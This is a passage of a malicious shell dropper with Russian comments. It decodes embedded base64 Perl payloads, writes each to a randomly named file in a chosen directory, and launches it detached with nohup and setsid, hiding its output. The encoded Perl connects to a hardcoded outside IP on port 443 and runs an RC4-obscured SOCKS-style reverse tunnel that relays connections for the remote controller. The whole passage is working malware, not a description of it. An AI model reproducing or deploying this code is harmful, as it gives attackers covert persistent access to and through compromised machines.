CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #54 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #54 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 55 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny 